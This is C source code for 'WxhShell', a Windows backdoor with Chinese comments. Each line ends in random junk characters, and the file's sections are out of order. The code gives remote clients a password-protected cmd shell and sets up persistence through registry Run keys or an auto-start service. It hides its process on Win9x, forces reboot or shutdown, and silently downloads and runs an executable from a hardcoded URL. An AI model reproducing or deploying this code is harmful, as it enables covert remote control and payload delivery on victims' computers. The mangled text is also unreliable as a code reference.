    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p%$r\G-x  
    else { %@PcQJg U<  
    closesocket(wsh); N/o?\q8  
    ExitThread(0); dHY@V> D'-  
    } PA^*|^;Xh  
    break; QZVyU8j3  
    } HIc;Lc8$  
  // 获取shell Z;uKnJh  
  case 's': { 7KlL%\  
    CmdShell(wsh); 8'Q+%{?1t  
    closesocket(wsh); XZOBK^,5^B  
    ExitThread(0); C1;uAw?\  
    break; <9]"p2  
  } 2E-Kz?,:[  
  // 退出 m~+.vk  
  case 'x': { r ~{nlLO}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "q?(rx;  
    CloseIt(wsh); (]q ([e  
    break; <#:iltO  
    } oO tjG3B({  
  // 离开 &E]) sJ0  
  case 'q': { ;-1KPDIp`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dzIBdth  
    closesocket(wsh); s]m]b#1!r  
    WSACleanup(); %72# tY  
    exit(1); (Iv@SiZf(  
    break; ~aotV1"D  
        } #X)DFAtb  
  } 9BakxmAc  
  } &3iI\s[  
W>' DQB  
  // 提示信息 XI Mh<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 570ja7C:  
} O.dZ3!!+  
  } F7}yt  
7oE:]  
  return; '@24<T]  
} k x:+mF  
8;qOsV)UDT  
// shell模块句柄 mg*iW55g  
int CmdShell(SOCKET sock) !"hlG^*9  
{ Z84w9y7O<  
STARTUPINFO si; d*TH$-F!p  
ZeroMemory(&si,sizeof(si)); s1OSuSL>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~Xx}:@Ld  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S>5w=RK   
PROCESS_INFORMATION ProcessInfo; *fY*Wy9  
char cmdline[]="cmd"; eF;Jj>\R+i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); # 9bw'm  
  return 0; CM~x1f*v  
} f:8!@,I  
=&g:dX|q8  
// 自身启动模式 @[D5{v)S  
int StartFromService(void) C,ldi"|  
{ qi@Nz=t#HJ  
typedef struct ]#N8e?b,  
{ E7$ aT^  
  DWORD ExitStatus; LI-ewea  
  DWORD PebBaseAddress; tG]W!\C'h  
  DWORD AffinityMask; [Qr_0O  
  DWORD BasePriority; un\o&0}  
  ULONG UniqueProcessId; ^d>m`*px  
  ULONG InheritedFromUniqueProcessId; [ !~8TF  
}   PROCESS_BASIC_INFORMATION; .&u @-Vm  
^Cp;#|g,  
PROCNTQSIP NtQueryInformationProcess; <DqFfrpc  
zq5N@d F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &xr(Kb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &#C|  
cm!vuoB~~  
  HANDLE             hProcess; iJZvVs',  
  PROCESS_BASIC_INFORMATION pbi; *k\ ;G?  
L]YJ#5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E\2f"s  
  if(NULL == hInst ) return 0; %M_F/O  
ybf,pDY#f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pvWNiW:~k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3 JlM{N6+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W^W.* ?e`  
D!,'}G #  
  if (!NtQueryInformationProcess) return 0; 5-4  
v%#@.D!)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )"Ujx`]4r  
  if(!hProcess) return 0; f !7fz~&Sh  
,jnaa(n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V%*91t_  
r{* Qsaw  
  CloseHandle(hProcess);  zW?=^bE  
~- aUw}U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2*W|s7cc  
if(hProcess==NULL) return 0; uKY1AC__  
L{ej<0yr  
HMODULE hMod; CT\rx>[J.6  
char procName[255]; s4Jy96<  
unsigned long cbNeeded; W T @XHwt  
4U$M0 =  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a U<+ `  
h5vetci/  
  CloseHandle(hProcess); 6R2F,b(_  
MO1H?U hx  
if(strstr(procName,"services")) return 1; // 以服务启动 ,-n_( U  
=q[+ e(,3  
  return 0; // 注册表启动 uC]c`Ue  
} aYtW!+#  
K=4|GZ~p}`  
// 主模块 B%x?VOdBE  
int StartWxhshell(LPSTR lpCmdLine) [pt U}  
{ 2L.6!THG  
  SOCKET wsl; y`z?lmV)xM  
BOOL val=TRUE; X~*/ ~f  
  int port=0; iDCQqj`  
  struct sockaddr_in door; !(S.7#-r  
oh:.iL}j  
  if(wscfg.ws_autoins) Install(); Nbf >Y  
v/7^v}[<  
port=atoi(lpCmdLine); tI0D{Xrc  
(j%"iQD  
if(port<=0) port=wscfg.ws_port; yJw.z#bB#  
eOb)uIF  
  WSADATA data; P-Gp^JX8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H ~<.2b  
 l:a#B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !h^_2IX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g/!tp;e  
  door.sin_family = AF_INET; *I9O63  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nWd;XR6|  
  door.sin_port = htons(port); z@<jZM  
{H=<5   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1#zD7b~  
closesocket(wsl); i\>?b)a>  
return 1; ^= kr`5  
} '~{kR=+  
2/))Y\~  
  if(listen(wsl,2) == INVALID_SOCKET) { 4?_^7(%p  
closesocket(wsl); R<r,&X?m  
return 1; Fbw.Y6  
} 7?y([i\y  
  Wxhshell(wsl); fndH]Yp  
  WSACleanup(); gd0a,_`M  
\Jwc[R&x  
return 0; Co/04F.  
7 $dibTER  
} qnU`Q{  
!Ks<%; rb  
// 以NT服务方式启动 (2 P&@!|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QNZ#SG8  
{ bz`rSp8h  
DWORD   status = 0; H=XdgOui  
  DWORD   specificError = 0xfffffff; eV9,G8  
0,cU^HMA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B}I9+/|{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d(vt0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,W$&OD  
  serviceStatus.dwWin32ExitCode     = 0; =+4om*  
  serviceStatus.dwServiceSpecificExitCode = 0; k5X-*^U=V}  
  serviceStatus.dwCheckPoint       = 0; F\<{:wu   
  serviceStatus.dwWaitHint       = 0; , 9buI='  
Q+IB&LdE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XS>( Bu  
  if (hServiceStatusHandle==0) return; !H zJ*  
2\"T&  
status = GetLastError(); =Nz;R2{@  
  if (status!=NO_ERROR) S:c d'68D  
{ S;u 2B_/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -;YhQxxC}L  
    serviceStatus.dwCheckPoint       = 0; h\6 t\_^\  
    serviceStatus.dwWaitHint       = 0; 4=njM`8Y'  
    serviceStatus.dwWin32ExitCode     = status; Q^'xVS_.  
    serviceStatus.dwServiceSpecificExitCode = specificError; #,SPV&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jn\>S z(96  
    return; N8*QAe kN  
  } m&- -$sr  
qjN*oM,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;YrmT9Jx6  
  serviceStatus.dwCheckPoint       = 0; fKkS_c 2  
  serviceStatus.dwWaitHint       = 0; 9$ixjkIg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F>k/;@d  
} LP>GM=S#"  
dp }zG+  
// 处理NT服务事件,比如:启动、停止 7\i> >  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DNRWE1P2bg  
{ o}L\b,])  
switch(fdwControl) Vo(bro4ZQi  
{ 5QG?*Z~?7  
case SERVICE_CONTROL_STOP: i&L!?6 5-f  
  serviceStatus.dwWin32ExitCode = 0; =pb ru=/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Nfd'|#  
  serviceStatus.dwCheckPoint   = 0; nYTPcT4x|  
  serviceStatus.dwWaitHint     = 0; 3g3Znb  
  { I9sQPa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .bNG:y>  
  } =GC,1WVEqV  
  return; :f0#4'f  
case SERVICE_CONTROL_PAUSE: ' $"RQ=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5C5OLAl v  
  break; !wo  
case SERVICE_CONTROL_CONTINUE: G9~ 4?v6:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /!pJ"@  
  break; \[]4rXZN0  
case SERVICE_CONTROL_INTERROGATE: N}'2GBqfU4  
  break; I$ ?.9&.&  
}; =<r1sqf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XJA];9^  
} Z1U@xQj  
I(qFIV+H R  
// 标准应用程序主函数 "8\2w]"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _rW75n=3b7  
{ d M;v39  
]9}^}U1."  
// 获取操作系统版本 "|/Q5 *L  
OsIsNt=GetOsVer(); dlioaYc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H ;)B5C  
0\wW%3C  
  // 从命令行安装 ZtX CPA!  
  if(strpbrk(lpCmdLine,"iI")) Install(); KAnq8B!h  
(JT 273  
  // 下载执行文件 Pk`3sfz  
if(wscfg.ws_downexe) { 7DWGYvv[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8Q73h/3  
  WinExec(wscfg.ws_filenam,SW_HIDE); kK.[v'[>&  
} ZDmY${J  
wAc;{60s]  
if(!OsIsNt) { bg^ <e}{<H  
// 如果时win9x,隐藏进程并且设置为注册表启动 z6 .^a-sU5  
HideProc(); m-<m[49  
StartWxhshell(lpCmdLine); r"`7ezun:  
} kTm}VTr 1  
else C~04#z_$  
  if(StartFromService()) A(+%DZ  
  // 以服务方式启动 aqv'c j>  
  StartServiceCtrlDispatcher(DispatchTable); [=^Wj`;  
else Yb%#\.M/y  
  // 普通方式启动 vU9:` @beu  
  StartWxhshell(lpCmdLine); L fZF  
;]W@W1)$  
return 0; rXq{WS`  
} U.N?cKv  
*rA]q' jM  
&BN#"- J  
A5Lzd  
=========================================== =G`g-E2  
dEZlJo@J  
W@D./Th  
_P*QX  
wv ^n#  
~,.;2K73  
" #g<6ISuf  
<,y> W!  
#include <stdio.h> Qw<&N$  
#include <string.h> #tA/)Jvi  
#include <windows.h> Cl!9/l?z  
#include <winsock2.h> mB"1QtD  
#include <winsvc.h> 1o?uf,H7O  
#include <urlmon.h> ;*WG9Y(W  
6i@* L\ Dl  
#pragma comment (lib, "Ws2_32.lib") -s]@8VJA"  
#pragma comment (lib, "urlmon.lib") ~nApRC)0  
S1U[{R?,  
#define MAX_USER   100 // 最大客户端连接数 w[AL'1s]  
#define BUF_SOCK   200 // sock buffer ]88qjKL  
#define KEY_BUFF   255 // 输入 buffer $dG:29w  
U_WO<uhC  
#define REBOOT     0   // 重启 IRTD(7"oyp  
#define SHUTDOWN   1   // 关机 wZWAx  
;RYIc0%  
#define DEF_PORT   5000 // 监听端口 DKF '*  
5<YL^m{/L  
#define REG_LEN     16   // 注册表键长度 tTWEhHQ`  
#define SVC_LEN     80   // NT服务名长度 'UM *7  
d{Owz&PL  
// 从dll定义API A# Y:VavQ?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Os KtxtLO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [pInF Qh6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *D.Ajd.G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %< `D' V@  
9dWz3b1[]  
// wxhshell配置信息 `\f 3Ij,  
struct WSCFG { 9*r^1PRc  
  int ws_port;         // 监听端口 cZ#%tT#  
  char ws_passstr[REG_LEN]; // 口令 F6aC'<#/  
  int ws_autoins;       // 安装标记, 1=yes 0=no KtGbpcS$f  
  char ws_regname[REG_LEN]; // 注册表键名 !;0K=~(Y^  
  char ws_svcname[REG_LEN]; // 服务名 l2I%$|)d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SYa O'c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %`YR+J/V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [2E(3`-u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /Q_ Dd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <. *bJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l>KkAA  
lc3Gu78 A/  
}; M=3gV?N  
m=SI *V  
// default Wxhshell configuration "lSh 4X  
struct WSCFG wscfg={DEF_PORT, bc3`x1)\^  
    "xuhuanlingzhe", Ej1 <T,w_  
    1, dFy GI?  
    "Wxhshell", [bRE=Zr$Ry  
    "Wxhshell", A0:rn\$l3  
            "WxhShell Service", :Qh rh(i  
    "Wrsky Windows CmdShell Service", b'Km-'MtH  
    "Please Input Your Password: ", "p7nngn~  
  1, U_ l9CZ  
  "http://www.wrsky.com/wxhshell.exe", YoBe!-E  
  "Wxhshell.exe" v*%52_   
    }; ESYF4-d+  
V@[C=K  
// 消息定义模块 {Wu[e,p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e['<.Yf+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }1W@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [c;#>UQMf  
char *msg_ws_ext="\n\rExit."; is~2{:  
char *msg_ws_end="\n\rQuit."; w ?*eBLJ(G  
char *msg_ws_boot="\n\rReboot..."; YV!hlYOBi  
char *msg_ws_poff="\n\rShutdown..."; 2;0eW&e   
char *msg_ws_down="\n\rSave to "; N$x&k$w R  
kw E2V+2  
char *msg_ws_err="\n\rErr!"; Ih>s2nL  
char *msg_ws_ok="\n\rOK!"; )Yv=:+f  
^3 9lUKL  
char ExeFile[MAX_PATH]; ,[)l>!0\H  
int nUser = 0; ~?FhQd\Q  
HANDLE handles[MAX_USER]; gn&Zt}@[  
int OsIsNt; imeE&  
4QTHBT+2`  
SERVICE_STATUS       serviceStatus; 0^sY>N"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f 9Kt>2IN  
%S'+x[ 4W  
// 函数声明 b?c/J {me  
int Install(void); U7 ?v4O]D[  
int Uninstall(void); 0Qq<h;8xEc  
int DownloadFile(char *sURL, SOCKET wsh); .ESvMK~x  
int Boot(int flag); >0W P:-\*  
void HideProc(void); %qiVbm0  
int GetOsVer(void); +vaA P=  
int Wxhshell(SOCKET wsl); Ikw@B)0}  
void TalkWithClient(void *cs); t%%()!|)j  
int CmdShell(SOCKET sock); Q;g7<w17  
int StartFromService(void); *BdH &U  
int StartWxhshell(LPSTR lpCmdLine); y.c6r> }  
n:P:im?,y*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h<TZJCt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QS5t~rb  
E6Z kO/  
// 数据结构和表定义 \2 e^x  
SERVICE_TABLE_ENTRY DispatchTable[] = `$ S&:Q,  
{ &Jc atI  
{wscfg.ws_svcname, NTServiceMain}, -5 D<zP/  
{NULL, NULL} %1.F;-GdsW  
}; YO$D-  
f&mi nBU  
// 自我安装 1P*hC<  
int Install(void) kDMvTVd  
{ HE%/+mZN  
  char svExeFile[MAX_PATH]; bWAa: r  
  HKEY key; q\]X1N  
  strcpy(svExeFile,ExeFile); }cr'o"4  
JE7m5k Ta  
// 如果是win9x系统,修改注册表设为自启动 f?51sr  
if(!OsIsNt) { dGn 0-l'q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eqsmv [  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )c{>@WM~  
  RegCloseKey(key); 3ie k >'T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RYjK4xT?Y/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }b&lHr'Uw  
  RegCloseKey(key); ?VmgM"'md  
  return 0; oV0T   
    } 9K/EteS  
  }  2Y23!hw  
} |w}j!}u  
else { t4[q :[1  
9`*Eeb>  
// 如果是NT以上系统,安装为系统服务 H8FvI"J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w9G|)UDib  
if (schSCManager!=0) ekL;SN  
{ &h I!mo  
  SC_HANDLE schService = CreateService IBo  
  ( <D~hhGb  
  schSCManager, T \uIXL?3  
  wscfg.ws_svcname, 7I XWv-  
  wscfg.ws_svcdisp, j2<+[h-  
  SERVICE_ALL_ACCESS, ~TEn +  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .R)P |@z L  
  SERVICE_AUTO_START, 94BH{9b5  
  SERVICE_ERROR_NORMAL, \&hq$  
  svExeFile, uR5+")r@S  
  NULL, hm! J@  
  NULL, U?le|tK  
  NULL, Sv{n?BYq  
  NULL, :J]'c}  
  NULL t{jY@J T|  
  ); b>OB}Is  
  if (schService!=0) w\o6G7  
  { W~;Jsd=f  
  CloseServiceHandle(schService); u9OY Jo  
  CloseServiceHandle(schSCManager); AX8~w(sv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6/mz., g2  
  strcat(svExeFile,wscfg.ws_svcname); ,<t.Iz%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fq6Obh=A#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gZ$ 8Y7  
  RegCloseKey(key); E 6TeZ%g  
  return 0; 5 ix*wu`,  
    } !q\=e@j-i  
  } S F*C'  
  CloseServiceHandle(schSCManager); <v|"eq}  
} oxlor,lw/  
} 1fS&KO{a  
>] 'oN  
return 1; {x_.QWe5  
} 0N$7(.  
UpGDLbf^  
// 自我卸载 5MB`yRVv  
int Uninstall(void) I]v2-rB&-  
{ P);s0Y|@H  
  HKEY key; ?f"5yQ-B  
TjTG+uQ  
if(!OsIsNt) { sip4,>,E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G|rE\h 2w  
  RegDeleteValue(key,wscfg.ws_regname); n9+33^ PT  
  RegCloseKey(key); s Z[[ymu8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0vm>*M*p  
  RegDeleteValue(key,wscfg.ws_regname); hLLSmW (  
  RegCloseKey(key); :S0!  
  return 0; 5;/n`Bd  
  } CW &z?Bra  
} #y:D{%Wp  
} g8##Be  
else { 51q|-d  
u]IbTJ'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8~C_ng-wn  
if (schSCManager!=0) VO|ECB2e  
{ w+ R/>a( ]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2F:qaz  
  if (schService!=0) }8ubGMr,Y  
  { 7EE{*}?0E  
  if(DeleteService(schService)!=0) { fZo#:"{/K  
  CloseServiceHandle(schService); T?pS2I~  
  CloseServiceHandle(schSCManager); 8Agg%*Qs}  
  return 0; smf"F\W s  
  } (?r,pAc:  
  CloseServiceHandle(schService); SV>tw`2  
  } oZvG Kf  
  CloseServiceHandle(schSCManager); 4`5yrC d  
} )RJEOl1  
} q*&R&K;q  
t>\sP   
return 1; a_>|Ny6{  
} =b%}x >>  
\;X7DK2  
// 从指定url下载文件 +lx& $mr?  
int DownloadFile(char *sURL, SOCKET wsh) 2 |je{  
{ @(,1}3s  
  HRESULT hr; !{lH*  
char seps[]= "/"; XDemdMy$  
char *token; Z10Vx2B  
char *file; k7CKl;Fck  
char myURL[MAX_PATH]; ' P?h?w^T  
char myFILE[MAX_PATH]; faQmkO  
=8\.fp  
strcpy(myURL,sURL); f jx`|MJ  
  token=strtok(myURL,seps); nqyD>>  
  while(token!=NULL) _? gCOr  
  { j,k3]bP  
    file=token; h !^= c  
  token=strtok(NULL,seps); 8q[; 0  
  } &zEQbHK6  
Du+W7]yCl  
GetCurrentDirectory(MAX_PATH,myFILE); %\m"Yi]  
strcat(myFILE, "\\"); jW'YQrj{<Y  
strcat(myFILE, file); j7~FR{: j  
  send(wsh,myFILE,strlen(myFILE),0); *jlIV$r_  
send(wsh,"...",3,0); UHZuH?|@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {~U3|_"[pX  
  if(hr==S_OK) yH/A9L,Z  
return 0; .e~"+Pe6b  
else }UhYwJf89  
return 1; $v0,)ALi  
 /|0-O''  
} BX >L7n  
%k!CjW3  
// 系统电源模块 a`!Jq'  
int Boot(int flag) }|DspO  
{ Qm%PpQ^Lz3  
  HANDLE hToken; !zA@{gvEc  
  TOKEN_PRIVILEGES tkp; oW3"J6,S  
Q\$3l'W  
  if(OsIsNt) { <`}P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Pxlc RF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uZ+bo&  
    tkp.PrivilegeCount = 1; IzP,)!EE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :7v'[b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BQ-x#[ %s  
if(flag==REBOOT) { &`r/+B_W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uz8LF47@:-  
  return 0; n#(pT3&  
} V(7,N(  
else { z#*.9/y\^R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .xRdKt!p  
  return 0; y\?ey'o  
} f"ezmZI  
  } n|i:4D  
  else { Rf:.'/<^  
if(flag==REBOOT) { l(t&<O(m9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~t6q-P  
  return 0; $^]K611w9  
} =Hi@q "  
else { ^hIdmTf6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z8|<%1Kge  
  return 0; }v ZOPTP  
} *1)>He$qL  
} GJ ^c^`  
./YR8#,  
return 1; }Hg G<.H>  
} "aJHCi~l  
+9_Y0<C  
// win9x进程隐藏模块 &hOz(825r  
void HideProc(void) SVCh!/qe\  
{ MGg(d  
]fyfL|(;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V1aP_G-:  
  if ( hKernel != NULL ) hOj{y2sc  
  { @62T:Vl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '}.Yf_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /R# zu_i  
    FreeLibrary(hKernel); ">H*InF  
  } {9x_E {  
<Ky-3:pxeM  
return; WZ CI*'  
} Z vysLHj  
a|ufm^ F  
// 获取操作系统版本 *6Wiq5M>.  
int GetOsVer(void) (V{/8%mWc  
{ 8Y($ F2  
  OSVERSIONINFO winfo; eADCT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8w0~2-v.?V  
  GetVersionEx(&winfo); %8'8XDq^8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VBhUh~:Om  
  return 1; |L2>|4  
  else SQodk:1)  
  return 0;  384n1?  
} DH(<{ #u  
FQZ*i\G>>  
// 客户端句柄模块  TGCB=e  
int Wxhshell(SOCKET wsl) f{sT*_at  
{ 2b"*~O;  
  SOCKET wsh; vm [lMx  
  struct sockaddr_in client; `^M]|7  
  DWORD myID; IskL$Y ^  
5zl+M`  
  while(nUser<MAX_USER) ;4F6 $T'I  
{ R/hf"E1  
  int nSize=sizeof(client); r4yz{^G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eM7@!CdA9q  
  if(wsh==INVALID_SOCKET) return 1; f|d~=\0y  
\""^'pP@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Bx?3E^!T  
if(handles[nUser]==0) @v-^j  
  closesocket(wsh); }[p{%:tP  
else PgBEe @.  
  nUser++; '.A!IGsj  
  } 8`4M4" lj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PxkV[ nbS  
JF=R$!5  
  return 0; [|]J8o@u^  
} xR+vu>f  
-cgO]q+Oq  
// 关闭 socket ptCF))Zm'  
void CloseIt(SOCKET wsh) #6 M] tr  
{ SB62(#YR  
closesocket(wsh); ,KY;NbL-Jp  
nUser--; k8gH#ENNK  
ExitThread(0); &#p1ogf:  
} s^k G]7  
QoD_`d  
// 客户端请求句柄 J/1kJ@5  
void TalkWithClient(void *cs) ]H1mj#EWU  
{ #xI g(nG  
yD9enYM  
  SOCKET wsh=(SOCKET)cs; Liqo)m  
  char pwd[SVC_LEN]; bt}8ymcG  
  char cmd[KEY_BUFF]; {##G.n\~  
char chr[1]; v?8WQNy  
int i,j; Ob0sB@  
M.}9)ho   
  while (nUser < MAX_USER) { =G-OIu+H!U  
.:S/x{~  
if(wscfg.ws_passstr) { "K{_?M `;e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }x'*3zI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6)INr,d  
  //ZeroMemory(pwd,KEY_BUFF); YvY|\2^K  
      i=0; =z1Lim-  
  while(i<SVC_LEN) { ~ #jQFyOh  
H%_^Gy8f  
  // 设置超时 q"d9C)Md  
  fd_set FdRead; 8hGyh#  
  struct timeval TimeOut; y_X6{}Ke  
  FD_ZERO(&FdRead); oz!)x\m*H  
  FD_SET(wsh,&FdRead); SmXoNiM"y  
  TimeOut.tv_sec=8; F`D$bE;|  
  TimeOut.tv_usec=0; h:Pfiw]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N/ a4Gl(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |Ajd$+3  
J;4x$BI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UP]( 1lAf  
  pwd=chr[0]; % km <+F=~  
  if(chr[0]==0xd || chr[0]==0xa) { Mh%{cLM  
  pwd=0; mWviWHK  
  break; VG5+u,U6>  
  } ;,{ _=n>  
  i++; E$"NOR  
    } @@Ib^sB%  
?9 huuJ s7  
  // 如果是非法用户,关闭 socket AR| 4^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 91R# /i  
} YidcVlOsO  
Wa;N(zw0h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O8;/oL4 U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9o@3$  
V,r~%p  
while(1) { W;u.@I&  
\Ec<ch[)c  
  ZeroMemory(cmd,KEY_BUFF); sI,cX#h&Y  
tU4#7b:Y  
      // 自动支持客户端 telnet标准   aCZ0-X?c  
  j=0; `>"#d ?,  
  while(j<KEY_BUFF) { V^7.@BeT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PT>b%7Of  
  cmd[j]=chr[0]; @A[)\E1  
  if(chr[0]==0xa || chr[0]==0xd) { *@rA7zPFf  
  cmd[j]=0; ]d*9@+Iu  
  break; oW~W(h!  
  } Zkp~qx  
  j++; F^l1WX6  
    } gT}H B.  
1AJ6NBC&c  
  // 下载文件 Vgm*5a6t  
  if(strstr(cmd,"http://")) { XIcUoKg^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^".OMS"!  
  if(DownloadFile(cmd,wsh)) m?S;s ew@5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rm-d),Zt  
  else M=,pn+}y>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QK_5gD`$a,  
  } XoN~d  
  else { ZU 3Psj  
<H-Nft>O  
    switch(cmd[0]) { |/,S NE  
  Ts!'>_<Je  
